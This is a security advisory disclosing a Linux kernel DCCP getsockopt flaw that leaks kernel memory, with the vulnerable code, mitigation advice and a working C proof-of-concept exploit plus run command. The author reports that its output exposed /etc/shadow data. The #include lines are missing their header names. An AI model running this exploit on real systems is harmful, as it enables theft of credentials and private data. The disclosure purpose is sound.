Linux Kernel DCCP Memory Disclosure Vulnerability

Synopsis:

 The Linux kernel is susceptible to a locally exploitable flaw
 which may allow local users to steal data from the kernel memory.

Vulnerable Systems:

 Linux Kernel Versions: >= 2.6.20 with DCCP support enabled.
 Kernel versions <2.6.20 lack
 DCCP_SOCKOPT_SEND_CSCOV/DCCP_SOCKOPT_RECV_CSCOV optnames for
 getsockopt() call with SOL_DCCP level, which are used in the
 delivered POC code.

Author:

 Robert Swiecki
http://www.swiecki.net 
robert@swiecki.net 

Details:

 The flaw exists in do_dccp_getsockopt() function in
 net/dccp/proto.c file.

-----------------------
static int do_dccp_getsockopt(struct sock *sk, int level, int optname,
                    char __user *optval, int __user *optlen)
...
if (get_user(len, optlen))
  return -EFAULT;
if (len < sizeof(int))
   return -EINVAL;
...
-----------------------

 The above code doesn't check `len' variable for negative values.
 Because of cast typing (len < sizeof(int)) is always true for
 `len' values less than 0.

 After that copy_to_user() procedure is called:

-----------------------
if (put_user(len, optlen) || copy_to_user(optval, &val, len))
    return -EFAULT;
-----------------------

 What happens next depends greatly on the cpu architecture in-use -
 each cpu architecture has its own copy_to_user() implementation. On
 the IA-32 the code below ...

-----------------------
unsigned long
copy_to_user(void __user *to, const void *from, unsigned long n)
{
        BUG_ON((long) n < 0);
-----------------------

 ... will prevent explotation, but kernel will oops due to
 invalid opcode in BUG_ON().

 On some other architectures (e.g. x86-64) kernel-space data will
 be copied to the user supplied buffer until end-of-kernel space
 (pagefault in kernel-mode occurs) is reached.

POC:

-----------------------
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define BUFSIZE 0x10000000

int main(int argc, char *argv[])
{
        void *mem = mmap(0, BUFSIZE, PROT_READ | PROT_WRITE,
                         MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
        if (!mem) {
                printf("Cannot allocate mem\n");
                return 1;
        }
        /* SOCK_DCCP, IPPROTO_DCCP */
        int s = socket(PF_INET, 6, 33);
        if (s == -1) {
                fprintf(stderr, "socket failure!\n");
                return 1;
        }
        int len = -1;
        /* SOL_DCCP, DCCP_SOCKOPT_SEND_CSCOV */
        int x = getsockopt(s, 269, 11, mem, &len);

        if (x == -1)
                perror("SETSOCKOPT");
        else
                printf("SUCCESS\n");

        write(1, mem, BUFSIZE);

        return 0;
}
-----------------------

then

-----------------------
make poc; ./poc | strings
-----------------------

I found cached disk blocks in the dump ( e.g. /etc/shadow ;) and
tty buffers.

Resolution:

 Remove dccp support from the installed linux kernel (remove dccp
 kernel modules etc..) or create a patch for kernel sources ;)

Greets and thanks to:

Przemyslaw Frasunek - venglin@freebsd.lublin.pl - 
http://www.frasunek.com - for his great help during flaw analysis 

Pawel Pisarczyk - pawel@immos.com.pl - for interesting talk about 
 the vulnerability exploitation vectors


-- 
Robert Swiecki - http://www.swiecki.net